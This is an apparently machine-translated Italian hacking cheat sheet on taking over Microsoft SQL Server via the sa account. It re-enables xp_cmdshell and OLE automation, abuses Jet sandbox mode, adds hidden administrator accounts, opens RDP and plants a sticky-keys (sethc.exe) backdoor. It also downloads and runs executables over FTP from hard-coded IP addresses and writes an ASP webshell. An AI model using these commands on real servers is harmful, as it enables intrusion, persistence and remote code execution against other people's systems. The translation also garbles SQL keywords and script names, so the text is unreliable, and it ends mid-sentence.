Ordini di riparazione del 1433
utente net, SQLDebugger list /add net localgroup administrators SQLDebugger /add
Messaggio di errore: Non è riuscito a trovare la stored procedure 'master.. xp_cmdshell'。
Metodo di riparazione: molto generale, infatti, gli altri 126 127 possono essere riparati insieme,
Tranne xplog70.dll tutto il resto può essere risolto con questo comando
xp_cmdshell nuovi metodi di recupero Passo 1: Elimina: Procedura di caduta sp_addextendedproc Procedura di caduta sp_oacreate Esecutivo sp_dropextendedproc 'xp_cmdshell' Cameriere: Msg 3701, Livello 11, Stato 5, Linea 1 Non è possibile rimuovere il processo 'sp_addextendedproc' perché non esiste nella directory di sistema. Cameriere: Msg 3701, Livello 11, Stato 5, Procedura sp_dropextendedproc, Linea 18 Non è possibile rimuovere il processo 'xp_cmdshell' perché non esiste nella directory di sistema. Passo 2 Recupero: DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") Recupero diretto, indipendentemente dal fatto che sp_addextendedproc esista o meno
xplog70.dll correzioni:
Messaggio di errore: La DLL xplog70.dll o una delle DLL citate dalla DLL non potevano essere montate. Motivo: 126 (Il modulo specificato non è disponibile.) )。
Correggi XPLOG70.DLL (prima controlla la directory di backup \x86\bin con il file, poi sostituisci la directory seguente)
Passo 1 Esecutivo sp_dropextendedproc 'xp_cmdshell' Passo 2 DBC AddExtendedProc ("xp_cmdshell","C:\sql2ksp4\x86\binn\xplog70.dll")
Non sono riuscito a trovare la stored procedure 'master.. xp_cmdshell'。 Passo 1: crea la procedura sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (proprietario.) Nome della funzione da chiamare
*/ @dllname varchar(255)/* nome della DLL che contiene la funzione */ come Partire implicit_transactions se @@trancount > 0 inizio raiserror(15002,-1,-1,'sp_addextendedproc') ritorno (1) fine DBCC addextendedproc( @functname, @dllname) Ritorno (0) -- sp_addextendedproc VAI
Passo 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server bloccò l'accesso al processo 'sys.xp_cmdshell' del componente 'xp_cmdshell' perché questo componente era stato disattivato come parte della configurazione di sicurezza di questo server. Gli amministratori di sistema possono abilitare la 'xp_cmdshell' utilizzando sp_configure. Per maggiori informazioni sull'abilitazione della xp_cmdshell, consulta Peripheral App Configurator nella serie SQL Server Online Books.
; EXECUTIVE sp_configure 'mostra opzioni avanzate', 1 -- ; RICONFIGURARE CON OVERRIDE -- ; EXECUTIVE sp_configure 'xp_cmdshell', 1 -- ; RICONFIGURARE CON OVERRIDE -- ; EXEC sp_configure 'mostra opzioni avanzate', 0 --
Rimuovere lo storage pericoloso SQL: PROCEDURA DI CADUTA sp_makewebtask Maestro esecutivo... sp_dropextendedproc xp_cmdshell Maestro esecutivo... sp_dropextendedproc xp_dirtree Maestro esecutivo... sp_dropextendedproc xp_fileexist Maestro esecutivo... sp_dropextendedproc xp_terminate_process Maestro esecutivo... sp_dropextendedproc sp_oamethod Maestro esecutivo... sp_dropextendedproc sp_oacreate Maestro esecutivo... sp_dropextendedproc xp_regaddmultistring Maestro esecutivo... sp_dropextendedproc xp_regdeletekey Maestro esecutivo... sp_dropextendedproc xp_regdeletevalue Maestro esecutivo... sp_dropextendedproc xp_regenumkeys Maestro esecutivo... sp_dropextendedproc xp_regenumvalues Maestro esecutivo... sp_dropextendedproc sp_add_job Maestro esecutivo... sp_dropextendedproc sp_addtask Maestro esecutivo... sp_dropextendedproc xp_regread Maestro esecutivo... sp_dropextendedproc xp_regwrite Maestro esecutivo... sp_dropextendedproc xp_readwebtask Maestro esecutivo... sp_dropextendedproc xp_makewebtask Maestro esecutivo... sp_dropextendedproc xp_regremovemultistring Maestro esecutivo... sp_dropextendedproc sp_OACreate PROCEDURA DI CADUTA sp_addextendedproc
Ripristinare procedure di memoria estese Ripristinando prima la sp_addextendedproc, la dichiarazione è la seguente: Primo: crea la procedura sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (proprietario.) nome della funzione per chiamare */ @dllname varchar(255)/* nome della DLL contenente la funzione */ come Partire implicit_transactions se @@trancount > 0 inizio raiserror(15002,-1,-1,'sp_addextendedproc') ritorno (1) fine DBCC addextendedproc( @functname, @dllname) Ritorno (0) -- sp_addextendedproc VAI
Secondo: Usa il Maestro sp_addextendedproc xp_cmdshell esecutivo, 'xp_cmdshell.dll' sp_addextendedproc xp_dirtree esecutivo, 'xpstar.dll' sp_addextendedproc xp_enumgroups esecutivo, 'xplog70.dll' sp_addextendedproc xp_fixeddrives esecutivo, 'xpstar.dll' sp_addextendedproc xp_loginconfig esecutivo, 'xplog70.dll' sp_addextendedproc xp_enumerrorlogs esecutivo, 'xpstar.dll' sp_addextendedproc xp_getfiledetails esecutivo, 'xpstar.dll' sp_addextendedproc sp_OACreate esecutivo, 'odsole70.dll' sp_addextendedproc sp_OADestroy esecutivo, 'odsole70.dll' sp_addextendedproc sp_OAGetErrorInfo esecutivo, 'odsole70.dll' sp_addextendedproc sp_OAGetProperty esecutivo, 'odsole70.dll' sp_addextendedproc sp_OAMethod esecutivo, 'odsole70.dll' sp_addextendedproc sp_OASetProperty esecutivo, 'odsole70.dll' sp_addextendedproc sp_OAStop esecutivo, 'odsole70.dll' Executive sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' sp_addextendedproc xp_regdeletekey esecutivo, 'xpstar.dll' Esecutivo sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' Esecutivo sp_addextendedproc xp_regenumvalues, 'xpstar.dll' sp_addextendedproc xp_regread esecutivo, 'xpstar.dll' sp_addextendedproc xp_regremovemultistring esecutivo, 'xpstar.dll' sp_addextendedproc xp_regwrite esecutivo, 'xpstar.dll' sp_addextendedproc xp_availablemedia esecutivo, 'xpstar.dll'
Elimina l'istruzione che estende la stored procedure xp_cmdshell: Esecutivo sp_dropextendedproc 'xp_cmdshell'
Recupera l'istruzione sql di cmdshell Executive sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Apri l'istruzione SQL cmdshell Executive sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Determinare se esiste un'espansione di memoria select count(*) da master.dbo.sysobjects dove xtype='x' e name='xp_cmdshell' Il risultato di ritorno è 1 ed è ok
Ripristina xp_cmdshell executive master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) da master.dbo.sysobjects dove xtype='x' e name='xp_cmdshell' Il risultato di ritorno è 1 ed è ok Altrimenti, carica xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blocca l'istruzione sql di cmdshell sp_dropextendedproc "xp_cmdshell
Uno. Modifica del metodo della password SA: Dopo aver connesso con lo strumento di utilizzo completo di SQL, esegui il comando: exec sp_password NULL, 'nuova password', 'sa' (Suggerimento: usalo con cautela!)
Due. Basta correggere la password debole.
Metodo 1: Interroga lo splitter dopo aver connettuto: se esiste (seleziona * da dbo.sysobjects dove id = object_id(N'[dbo].[ xp_cmdshell]') e OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
executive sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
VAI Poi premi il tasto F5 per eseguire il comando
Metodo 2: Interrogare dopo che lo splitter è stato connesso Il primo passo è eseguire: usare master Passo 2: sp_dropextendedproc 'xp_cmdshell' Poi premi il tasto F5 per eseguire il comando
La DLL xpsql70.dll o una delle DLL citate dalla DLL non possono essere montate. Motivo 126 (Il modulo specificato non può essere trovato. ) Metodo di recupero: Dopo aver interrogato la connessione dello splitter, Passo 1: sp_dropextendedproc "xp_cmdshell" Passo 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
La funzione xp_cmdshell non si trova nella biblioteca xpweb70.dll. Motivo: 127 (Il programma specificato non è disponibile.) ) Metodo di recupero: Dopo aver interrogato la connessione dello splitter, Passo 1 Esecuzione: il sp_dropextendedproc esecutivo 'xp_cmdshell' Passo 2: il dirigente sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Poi premi il tasto F5 per eseguire il comando
Se nessuno dei metodi sopra sopra è recuperabile, prova ad aggiungere direttamente l'account usando i seguenti metodi: Dopo aver interrogato la connessione dello splitter, Sistema 2000servser: dichiara @shell INT Executive sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user web hacker /add'
dichiara @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP o 2003Server System: errore 126! Ordine
dichiara @shell INT Executive sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c NET user Web$ hacker /add'
dichiara @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server bloccò l'accesso al processo 'sys.xp_cmdshell' del componente 'xp_cmdshell' perché questo componente era stato disattivato come parte della configurazione di sicurezza di questo server. Gli amministratori di sistema possono abilitare la 'xp_cmdshell' utilizzando sp_configure. Per maggiori informazioni sull'abilitazione della xp_cmdshell, consulta Peripheral App Configurator nella serie SQL Server Online Books.
Istruzioni eseguite dall'analizzatore:
EXEC sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; EXECUTIVE sp_configure 'xp_cmdshell', 1; RICONFIGURARE;
A volte, quando si esegue le istruzioni sopra con una connessione a un detacher di query, la procedura memorizzata non può essere trovata sp_addextendedproc
Soluzione alternativa:
crea la procedura sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (proprietario.) Nome della funzione da chiamare */ @dllname varchar(255)/* nome della DLL che contiene la funzione */ come Partire implicit_transactions se @@trancount > 0 inizio raiserror(15002,-1,-1,'sp_addextendedproc') ritorno (1) fine DBCC addextendedproc( @functname, @dllname) Ritorno (0) -- sp_addextendedproc VAI Questo codice viene incollato nel query splitter ed eseguito
Esploratore:
c:\windows\explorer.exe
Visualizza l'indice Esecutivo master.dbo.xp_subdirs 'C:\' Dischi elenco Maestro esecutivo... xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode','REG_DWORD',0 Seleziona * da OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("utente di rete 123 123 /add")'); Seleziona * da OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor versione 5.00 >3389.reg eco. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Enabled"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Politiche\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg Echo [HKEY_USERS\. IMPOSTAZIONE PREDEFINITA\Tastiera/Toggle] >>3389.reg echo "Tasto rapido"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:0000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:0000D3D >>3389.reg regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Pass 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Controlla la porta 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp', 'PortNumber'
Normale porta posteriore CMD xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger', 'reg_sz','c:\Windows\system32\cmd.exe'
win2K va direttamente a PS Mar Maestro esecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1 seleziona * da openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo ciao>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP direttamente sui cavalli PS Maestro esecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1 seleziona * da openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo ciao>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Sposta il comando backdoor dichiara @o int EXEC sp_oacreate 'scrip remove ting.filesystemobject', @o out executive sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
dichiara @o int EXEC sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Ricevuto c:\Windows\explorer.exe c:\Windows\System32\sethc.exe Copiato c:\Windows\System32\sethc.exe C:\Windows\System32\dLLcache\sethc.exe
dichiara @o int Executive sp_oacreate 'wscrip remove t.shell', @o out exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX è il comando che vuoi eseguire
Scrivi il valore specificato nella chiave specificata nel registro), usando il metodo (scrivi bbb nella chiave HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
Maestro esecutivo... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo apri 121.22.56.5>c:\bin.txt&@echo list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo get gzn.exe>>c:\bin.txt&@echo ciao>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Per prima cosa, copialo ftp.exe nella directory wmpub @echo CD C:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL scrive una frase Esecutivo master.dbo.xp_subdirs 'D:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB")%>'' '
SA Sandbox Mode Promozione ----- ---------------------- Maestro esecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; ------------------------------------------------------- Seleziona * da OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Seleziona * da OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
TURNO 3389
La frase utilizzata: Invasione Maestro esecutivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Recupero Maestro esecutivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Dirottamento di immagini
Maestro esecutivo... xp_regwrite --- questa è la modifica del registro dei registri! @rootkey='HKEY_LOCAL_MACHINE', ---Questa è la posizione! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----Questa è anche la posizione! @value_name='Debugger', --- questo è il nome della tabella! @type='REG_SZ', --- ecco il significato della scrittura! @value='C:\WINDOWS\explorer.exe' ---- ecco il contenuto scritto!
L'intero processo consiste nell'usare il master: xp_regwrite questa componente viene completata,
1.sql comando per interrogare se la chiave fissata del registro è stata dirottata
Maestro esecutivo... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql comando dirotta la funzione del tasto fissato del registro e la sostituisce con il task manager (ovviamente puoi sostituirlo con altri comandi che vuoi).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger', 'REG_SZ', 'C:\WINDOWS\system32\taskmgr.exe'
3.sql comando per rimuovere la funzione di dirottamento della chiave fissata del registro protegge il tuo server dall'essere sfruttato da altri
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
file di scrittura SQL
dichiara @o int, @f int, @t int @ret int EXEC sp_oacreate 'scrip remove ting.filesystemobject', @o out Executive sp_oamethod @o, 'createtextfile', @f fuori, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Crea("utente", "test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. Imposta la parola d'ordine "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Script senza escalation NET
struser=wscrip per rimuovere t.argomentazioni(0) strpass=wscrip per rimuovere t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) overdose. SetPassword strpass overdose. SetInfo Set of=GetObject(oz&"/" & struser & ",user") oe. Aggiunta. ADsPath)
Per ogni amministratore in OE. Membri se struser=admin. Allora chiama Wscrip ha rimosso t.echo struser & "Stabiliti con successo!" wscrip per rimuovere t.quit fine se Prossimo
Wscrip remove t.echo struser & "User establishment failed!" Salva quanto sopra come utente. VBS Poi esegui: cscrip per rimuovere la password username user.vbs
Utilizzando la modalità sandbox JET, puoi risolvere i problemi causati da stored procedure come XP_cmdshell e librerie di link dinamici correlate. Per motivi di sicurezza, il sistema non attiva di default la modalità sandbox, il che richiede xp_regwrite di attivare la modalità sandbox:
Esecutivo master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Motori', 'SandBoxMode', 'REG_DWORD',1
Poi esegui il comando sandbox per aggiungere un test utente con la password 1234 al sistema:
seleziona * da openrowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
seleziona * da openrowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c NET localgroup gli amministratori testano /add")')
Diversi sistemi operativi hanno percorsi differenti e devono essere modificati in base alla situazione:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Inoltre, in Microsoft SQL Server 2005, alcune stored procedure sono chiuse di default e richiedono comandi per l'apertura:
Accendi XP_cmdshell:
EXEC sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; EXECUTIVE sp_configure 'xp_cmdshell', 1; RICONFIGURARE;
Apri 'OPENROWSET':
esecutivo sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; sp_configure esecutivo 'Query distribuite ad hoc',1; RICONFIGURARE;
Attiva 'sp_oacreate':
esecutivo sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; sp_configure esecutivo 'Ole Procedure di Automazione',1; RICONFIGURARE;
Ecco alcune situazioni in cui il comando esecuzione sotto sa è errato: 1. Il xpsql70.dll DLL o una DLL citata dalla DLL non può essere caricata. Motivo 126 (Il modulo specificato non può essere trovato. ) Questa situazione è relativamente comune, e la riparazione è semplice e semplice, ma ci sono delle condizioni. Se riesci a elencare la directory in questo caso (con sqltools v2.0 c'è una funzione di directory) Congratulazioni per questa situazione dell'80% si può risolvere, se riesci a elencare la directory, allora trova semplicemente il percorso xplog70.dll ed esegui il seguente comando. Passo 1 Exec sp_dropextendedproc 'xp_cmdshell' (questo comando serve a eliminare la cmdshell originale, perché è già andata storta) Passo 2 DBC addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\xplog70.dll") ; EXECUTIVE sp_configure 'mostra opzioni avanzate', 0 – Ovviamente questo è un comando sql, eseguito con un analizzatore di query. Il c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll nel secondo passo è il percorso del xplog70.dll, questo percorso è relativamente comune, se il disco C non lo ha, puoi trovare altre lettere del disco. 2. Impossibile trovare la funzione xp_cmdshell nella libreria xpweb70.dll. Motivo: 127 (Il programma specificato non è disponibile.) ) In realtà, questo è lo stesso dei 126 precedenti, cioè il cmdshell è sbagliato, purché tu trovi il backup xplog70.dll segui il metodo sopra per risolverlo. 3. Non è riuscito a trovare il 'master' della procedura memorizzata. xpcmdshell In questo caso, vedo su Internet che il metodo è: Passo 1: Elimina: Procedura di caduta sp_addextendedproc Procedura di caduta sp_oacreate Esecutivo sp_dropextendedproc 'xp_cmdshell' Passo 2 Recupero: DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") In realtà, questo è ancora lo stesso di quanto sopra, ma se fai attenzione, il 126 127 sopra non troverà solo la procedura memorizzata 'master:. xpcmdshell' perché il primo passo è eliminare la procedura memorizzata di cmdshell. Quindi, in questo caso, segui semplicemente il secondo passo sopra. 4. Messaggio di errore: SQL Server ha bloccato l'accesso al processo 'sys.xp_cmdshell' del componente 'xp_cmdshell' perché questo componente è stato disattivato come parte della configurazione di sicurezza di questo server. Gli amministratori di sistema possono abilitare la 'xp_cmdshell' utilizzando sp_configure. Per maggiori informazioni sull'abilitazione della xp_cmdshell, consulta Peripheral App Configurator nella serie SQL Server Online Books. Questa situazione è la più semplice, perché non devi pensare a nulla, basta eseguire il seguente comando ; EXECUTIVE sp_configure 'mostra opzioni avanzate', 1 -- ; RICONFIGURARE CON OVERRIDE -- ; EXECUTIVE sp_configure 'xp_cmdshell', 1 -- ; RICONFIGURARE CON OVERRIDE -- ; EXECUTIVE sp_configure 'mostra opzioni avanzate', 0 –
Dopo la correzione sopra, puoi eseguire il comando cmd e inizierai ad aumentare il tuo potere. Di solito controllo prima l'IP per vedere se è un'intranet, poi faccio una query REG HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber per controllare la porta del terminale, e poi netstat –an per vedere se il terminale è aperto e infine invio password utente utente / Aggiungi un utente e poi neta gli amministratori del gruppo locale utente /add. Se tutto va bene, questo farà crollare un server. Ma ci sono molti problemi nel processo. 1. La promozione netta di potenza ha successo ma non può collegarsi al terminale. Ci sono le seguenti situazioni (1) Il server è collegato all'intranet. (2) Screening TCP/IP. Esegui prima il seguente comando cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, esporta la prima parte del registro per il filtraggio TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, esporta la seconda parte del registro per il filtraggio TCP/IP cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", esportando il terzo posto nel registro riguardo al filtraggio TCP/IP Poi torna al disco C 1.reg, 2.reg, 3.reg, scarica il 1.reg, 2.reg, 3.reg torna sul tuo hard disk per modificare, cerca il campo EnableSecurityFilters per vedere se il valore chiave dopo il dword è 00000000, se è 00000001, significa che l'amministratore ha fatto il filtraggio tcp/ip, dobbiamo solo cambiare 1 a 0, 2. Reg e 3.reg fanno le stesse modifiche. (3) Stabilire una politica di sicurezza IP. Esegui il comando cmd: cmd /c net stop policyagent per fermare il servizio di servizi IPSEC. Ricollega il terminale. (4) Il permesso di accesso del terminale impostato dall'amministratore può essere utilizzato solo dall'utente specificato. (5) Firewall. Esegui il comando cmd: net stop alg /ynet stop sharedaccess
2. Appare l'escalation della rete e l'accesso viene rifiutato Puoi provare net1 useruserpassword /add Se anche net1 nega l'accesso, puoi copiare una backdoor di shfit e provare a eseguire il comando cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Copiato c:\Windows\System32\sethc.exe C:\Windows\System32\dLLcache\sethc.exe Se ti viene richiesto, copia 1 file che si rivela efficace. Collegati al terminale e premi shift 5 per vedere cosa compare. Gioca con Kaka Explorer, ora aggiungi semplicemente un utente a mano. 3. L'escalation netta avviene con errore di rifiuto di accesso 5 (evidenziata) In questo caso, non è necessario provare net1, puoi provare la backdoor di copy shift; se la copia chiede di copiare il file 0, dimostra che non è riuscito. Poi puoi provare a caricarlo, se riesci a caricarlo, puoi inviare direttamente uno strumento di power escalation non netto uscito tempo fa, e poi aggiungere un utente. Ma la maggior parte di questi casi non può essere caricata, quindi bisogna pensarci. Poiché cmd può essere eseguito, il file può essere scaricato tramite cmd tramite ftp, ma il presupposto di ftp è poter scrivere testo o elaborazione batch. Poi puoi scrivere un testo o un batch tramite un'istruzione SQL. dichiara @o int, @f int, @t int @ret int EXEC sp_oacreate 'scrip remove ting.filesystemobject', @o out Esecutivo sp_oamethod @o, 'createtextfile', @f fuori, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'account ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'password ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (no net escalation script) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL, 'bye' Dopo che l'analizzatore di query è stato eseguito con successo, apparirà un 1.bat sul disco C (se l'esecuzione è riuscita, ma il disco C non c'è, puoi cambiare la cartella per scrivere, perché la directory root del server impedisce la scrittura) Poi cmd esegue ftp -s:c:\1.bat Dopo aver eseguito questo, scaricherai uno script di escalation non net-based sul disco CFT FTP o scriverai direttamente uno script di escalation VBS dichiara @o int, @f int, @t int @ret int EXEC sp_oacreate 'scrip remove ting.filesystemobject', @o out Executive sp_oamethod @o, 'createtextfile', @f fuori, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Poi cmd esegue cscrip per rimuovere t c:\1.vbs 4. Il precedente viene riparato per eseguire comandi cmd, ma dopo alcune riparazioni si presentano nuovi problemi (1) Messaggio: Si è verificato un errore durante l'esecuzione di xp_cmdshell. Chiama 'CreateProcess' fallito con codice di errore: '5'. L'errore 5 è un numero di errore richiesto dal sistema, CreateProcess è il significato di creare un thread, questa generazione di errori ha molto a che fare con la cmd.exe dei file di sistema, uno è che cmd viene eliminato, l'altro è che il permesso di cmd viene ridotto. SQL per controllare le porte dei terminali e lo stato di apertura: Maestro esecutivo... xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp', 'NumeroPorta' Bene, il punto chiave qui sotto è di usare due istruzioni SQL per copiare il file esploratore del sistema nel file shift backdoor del sistema, e le due istruzioni seguenti vengono eseguite separatamente. Questa dichiarazione copia explorer.exe come sethc.exe dichiarare @o int executive sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Questa istruzione 